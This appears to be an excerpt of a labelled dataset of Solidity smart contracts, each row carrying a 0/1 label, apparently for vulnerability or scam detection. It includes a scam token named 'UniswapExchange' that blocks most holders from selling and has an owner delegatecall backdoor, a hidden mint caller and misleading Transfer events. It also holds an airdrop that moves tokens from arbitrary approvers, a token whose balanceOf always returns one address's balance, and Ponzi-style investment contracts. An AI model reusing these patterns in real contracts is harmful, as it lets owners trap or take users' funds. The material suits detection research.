source_codes
stringlengths 72
205k
| labels
int64 0
1
| __index_level_0__
int64 0
5.56k
|
|---|---|---|
pragma solidity ^0.4.24;
contract airDrop{
function transfer(address from,address caddress,address[] _tos,uint v, uint _decimals)public returns (bool){
require(_tos.length > 0);
bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
uint _value = v * 10 ** _decimals;
for(uint i=0;i<_tos.length;i++){
caddress.call(id,from,_tos[i],_value);
}
return true;
}
} | 0 | 2,396 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 317 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name = "Be best";
string public symbol= "BEB";
uint8 public decimals = 8;
uint256 public totalSupply ;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
function TokenERC20(
) public {
totalSupply = 200000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
} | 1 | 4,998 |
pragma solidity ^0.4.18;
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Migrations {
address public owner;
uint public last_completed_migration;
modifier restricted() {
if (msg.sender == owner) _;
}
function Migrations() public {
owner = msg.sender;
}
function setCompleted(uint completed) restricted public {
last_completed_migration = completed;
}
function upgrade(address new_address) restricted public {
Migrations upgraded = Migrations(new_address);
upgraded.setCompleted(last_completed_migration);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TimeLockedWallet {
address public creator;
address public owner;
uint256 public unlockDate;
uint256 public createdAt;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function TimeLockedWallet(
address _creator,
address _owner,
uint256 _unlockDate
) public {
creator = 0x3FC217e72846A3F86f541FAbC99F61e38E1dBF6E;
owner = 0x3FC217e72846A3F86f541FAbC99F61e38E1dBF6E;
unlockDate = 1540944000;
createdAt = now;
}
function() payable public {
Received(msg.sender, msg.value);
}
function withdraw() onlyOwner public {
require(now >= unlockDate);
msg.sender.transfer(this.balance);
Withdrew(msg.sender, this.balance);
}
function withdrawTokens(address _tokenContract) onlyOwner public {
require(now >= unlockDate);
ERC20 token = ERC20(_tokenContract);
uint256 tokenBalance = token.balanceOf(this);
token.transfer(owner, tokenBalance);
WithdrewTokens(_tokenContract, msg.sender, tokenBalance);
}
function info() public view returns(address, address, uint256, uint256, uint256) {
return (creator, owner, unlockDate, createdAt, this.balance);
}
event Received(address from, uint256 amount);
event Withdrew(address to, uint256 amount);
event WithdrewTokens(address tokenContract, address to, uint256 amount);
}
contract TimeLockedWalletFactory {
mapping(address => address[]) wallets;
function getWallets(address _user)
public
view
returns(address[])
{
return wallets[_user];
}
function newTimeLockedWallet(address _owner, uint256 _unlockDate)
payable
public
returns(address wallet)
{
wallet = new TimeLockedWallet(msg.sender, _owner, _unlockDate);
wallets[msg.sender].push(wallet);
if(msg.sender != _owner){
wallets[_owner].push(wallet);
}
wallet.transfer(msg.value);
Created(wallet, msg.sender, _owner, now, _unlockDate, msg.value);
}
function () public {
revert();
}
event Created(address wallet, address from, address to, uint256 createdAt, uint256 unlockDate, uint256 amount);
}
contract HoneyShareCoin is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
string public name = "Honey Share Coin";
string public symbol = "HSC";
uint256 public decimals = 18;
function HoneyShareCoin() public {
totalSupply = 2000000000000000000000000000;
balances[msg.sender] = totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[0x3FC217e72846A3F86f541FAbC99F61e38E1dBF6E];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
} | 1 | 3,111 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract BitFooD is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "BTFD";
name = "BitFooD";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x42A30Cb8B0fc27bb0edc0EC42b21a449721558D5] = _totalSupply;
emit Transfer(address(0), 0x42A30Cb8B0fc27bb0edc0EC42b21a449721558D5, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,036 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library SDDatasets {
struct Player {
address addr;
uint256 aff;
uint256 laff;
uint256 planCount;
mapping(uint256=>PalyerPlan) plans;
uint256 aff1sum;
uint256 aff2sum;
uint256 aff3sum;
uint256 aff4sum;
}
struct PalyerPlan {
uint256 planId;
uint256 startTime;
uint256 startBlock;
uint256 invested;
uint256 atBlock;
uint256 payEth;
bool isClose;
}
struct Plan {
uint256 interest;
uint256 dayRange;
uint256 min;
uint256 max;
}
}
contract SafeDif {
using SafeMath for *;
address public devAddr_ = address(0xe6CE2a354a0BF26B5b383015B7E61701F6adb39C);
address public affiAddr_ = address(0x08F521636a2B117B554d04dc9E54fa4061161859);
address public partnerAddr_ = address(0xa8502800F27F5c13F0701450fE07550Cf81C62a7);
bool public activated_ = false;
uint256 ruleSum_ = 5;
modifier isActivated() {
require(activated_ == true, "its not active yet.");
_;
}
function version1Invest(address addr, uint256 eth, uint256 _affCode, uint256 _planId)
isAdmin() public payable {
require(activated_ == false, "Only not active");
require(_planId >= 1 && _planId <= ruleSum_, "_planId error");
uint256 uid = pIDxAddr_[addr];
if (uid == 0) {
if (player_[_affCode].addr != address(0x0)) {
register_(addr, _affCode);
} else {
register_(addr, 1000);
}
uid = G_NowUserId;
}
uint256 planCount = player_[uid].planCount;
player_[uid].plans[planCount].planId = _planId;
player_[uid].plans[planCount].startTime = now;
player_[uid].plans[planCount].startBlock = block.number;
player_[uid].plans[planCount].atBlock = block.number;
player_[uid].plans[planCount].invested = eth;
player_[uid].plans[planCount].payEth = 0;
player_[uid].plans[planCount].isClose = false;
player_[uid].planCount = player_[uid].planCount.add(1);
G_AllEth = G_AllEth.add(eth);
}
function activate() isAdmin() public {
require(address(devAddr_) != address(0x0), "Must setup devAddr_.");
require(address(partnerAddr_) != address(0x0), "Must setup partnerAddr_.");
require(address(affiAddr_) != address(0x0), "Must setup affiAddr_.");
require(activated_ == false, "Only once");
activated_ = true ;
}
mapping(address => uint256) private g_users ;
function initUsers() private {
g_users[msg.sender] = 9 ;
uint256 pId = G_NowUserId;
pIDxAddr_[msg.sender] = pId;
player_[pId].addr = msg.sender;
}
modifier isAdmin() {
uint256 role = g_users[msg.sender];
require((role==9), "Must be admin.");
_;
}
uint256 public G_NowUserId = 1000;
uint256 public G_AllEth = 0;
uint256 G_DayBlocks = 5900;
mapping (address => uint256) public pIDxAddr_;
mapping (uint256 => SDDatasets.Player) public player_;
mapping (uint256 => SDDatasets.Plan) private plan_;
function GetIdByAddr(address addr) public
view returns(uint256)
{
return pIDxAddr_[addr];
}
function GetPlayerByUid(uint256 uid) public
view returns(uint256,uint256,uint256,uint256,uint256,uint256,uint256)
{
SDDatasets.Player storage player = player_[uid];
return
(
player.aff,
player.laff,
player.aff1sum,
player.aff2sum,
player.aff3sum,
player.aff4sum,
player.planCount
);
}
function GetPlanByUid(uint256 uid) public
view returns(uint256[],uint256[],uint256[],uint256[],uint256[],bool[])
{
uint256[] memory planIds = new uint256[] (player_[uid].planCount);
uint256[] memory startBlocks = new uint256[] (player_[uid].planCount);
uint256[] memory investeds = new uint256[] (player_[uid].planCount);
uint256[] memory atBlocks = new uint256[] (player_[uid].planCount);
uint256[] memory payEths = new uint256[] (player_[uid].planCount);
bool[] memory isCloses = new bool[] (player_[uid].planCount);
for(uint i = 0; i < player_[uid].planCount; i++) {
planIds[i] = player_[uid].plans[i].planId;
startBlocks[i] = player_[uid].plans[i].startBlock;
investeds[i] = player_[uid].plans[i].invested;
atBlocks[i] = player_[uid].plans[i].atBlock;
payEths[i] = player_[uid].plans[i].payEth;
isCloses[i] = player_[uid].plans[i].isClose;
}
return
(
planIds,
startBlocks,
investeds,
atBlocks,
payEths,
isCloses
);
}
function GetPlanTimeByUid(uint256 uid) public
view returns(uint256[])
{
uint256[] memory startTimes = new uint256[] (player_[uid].planCount);
for(uint i = 0; i < player_[uid].planCount; i++) {
startTimes[i] = player_[uid].plans[i].startTime;
}
return
(
startTimes
);
}
constructor() public {
plan_[1] = SDDatasets.Plan(240,60,1e16, 5e20);
plan_[2] = SDDatasets.Plan(350,40,1e18, 1e21);
plan_[3] = SDDatasets.Plan(470,35,1e19, 1e22);
plan_[4] = SDDatasets.Plan(100,0,1e16, 1e22);
plan_[5] = SDDatasets.Plan(900,12,1e18, 1e22);
initUsers();
}
function register_(address addr, uint256 _affCode) private{
G_NowUserId = G_NowUserId.add(1);
address _addr = addr;
pIDxAddr_[_addr] = G_NowUserId;
player_[G_NowUserId].addr = _addr;
player_[G_NowUserId].laff = _affCode;
player_[G_NowUserId].planCount = 0;
uint256 _affID1 = _affCode;
uint256 _affID2 = player_[_affID1].laff;
uint256 _affID3 = player_[_affID2].laff;
uint256 _affID4 = player_[_affID3].laff;
player_[_affID1].aff1sum = player_[_affID1].aff1sum.add(1);
player_[_affID2].aff2sum = player_[_affID2].aff2sum.add(1);
player_[_affID3].aff3sum = player_[_affID3].aff3sum.add(1);
player_[_affID4].aff4sum = player_[_affID4].aff4sum.add(1);
}
function () isActivated() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(1000, 1);
}
}
function invest(uint256 _affCode, uint256 _planId) isActivated() public payable {
require(_planId >= 1 && _planId <= ruleSum_, "_planId error");
uint256 uid = pIDxAddr_[msg.sender];
if (uid == 0) {
if (player_[_affCode].addr != address(0x0)) {
register_(msg.sender, _affCode);
} else {
register_(msg.sender, 1000);
}
uid = G_NowUserId;
}
require(msg.value >= plan_[_planId].min && msg.value <= plan_[_planId].max, "invest amount error, please set the exact amount");
uint256 planCount = player_[uid].planCount;
player_[uid].plans[planCount].planId = _planId;
player_[uid].plans[planCount].startTime = now;
player_[uid].plans[planCount].startBlock = block.number;
player_[uid].plans[planCount].atBlock = block.number;
player_[uid].plans[planCount].invested = msg.value;
player_[uid].plans[planCount].payEth = 0;
player_[uid].plans[planCount].isClose = false;
player_[uid].planCount = player_[uid].planCount.add(1);
G_AllEth = G_AllEth.add(msg.value);
if (msg.value > 1000000000) {
distributeRef(msg.value, player_[uid].laff);
uint256 devFee = (msg.value.mul(2)).div(100);
devAddr_.transfer(devFee);
uint256 partnerFee = (msg.value.mul(2)).div(100);
partnerAddr_.transfer(partnerFee);
}
}
function withdraw() isActivated() public payable {
require(msg.value == 0, "withdraw fee is 0 ether, please set the exact amount");
uint256 uid = pIDxAddr_[msg.sender];
require(uid != 0, "no invest");
for(uint i = 0; i < player_[uid].planCount; i++) {
if (player_[uid].plans[i].isClose) {
continue;
}
SDDatasets.Plan plan = plan_[player_[uid].plans[i].planId];
uint256 blockNumber = block.number;
bool bClose = false;
if (plan.dayRange > 0) {
uint256 endBlockNumber = player_[uid].plans[i].startBlock.add(plan.dayRange*G_DayBlocks);
if (blockNumber > endBlockNumber){
blockNumber = endBlockNumber;
bClose = true;
}
}
uint256 amount = player_[uid].plans[i].invested * plan.interest / 10000 * (blockNumber - player_[uid].plans[i].atBlock) / G_DayBlocks;
address sender = msg.sender;
sender.send(amount);
player_[uid].plans[i].atBlock = block.number;
player_[uid].plans[i].isClose = bClose;
player_[uid].plans[i].payEth += amount;
}
}
function distributeRef(uint256 _eth, uint256 _affID) private{
uint256 _allaff = (_eth.mul(8)).div(100);
uint256 _affID1 = _affID;
uint256 _affID2 = player_[_affID1].laff;
uint256 _affID3 = player_[_affID2].laff;
uint256 _aff = 0;
if (_affID1 != 0) {
_aff = (_eth.mul(5)).div(100);
_allaff = _allaff.sub(_aff);
player_[_affID1].aff = _aff.add(player_[_affID1].aff);
player_[_affID1].addr.transfer(_aff);
}
if (_affID2 != 0) {
_aff = (_eth.mul(2)).div(100);
_allaff = _allaff.sub(_aff);
player_[_affID2].aff = _aff.add(player_[_affID2].aff);
player_[_affID2].addr.transfer(_aff);
}
if (_affID3 != 0) {
_aff = (_eth.mul(1)).div(100);
_allaff = _allaff.sub(_aff);
player_[_affID3].aff = _aff.add(player_[_affID3].aff);
player_[_affID3].addr.transfer(_aff);
}
if(_allaff > 0 ){
affiAddr_.transfer(_allaff);
}
}
} | 0 | 795 |
pragma solidity ^0.4.24;
contract dailyETHProfits{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 33;
address public ownerWallet;
address public owner;
address public bountyManager;
address promoter = 0x472616eB939a091a98E3956249451CbBA4037Dbc;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
referrer[_hunter] = referrer[_hunter].add(_amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,020 |
pragma solidity 0.8.4;
interface IOracle {
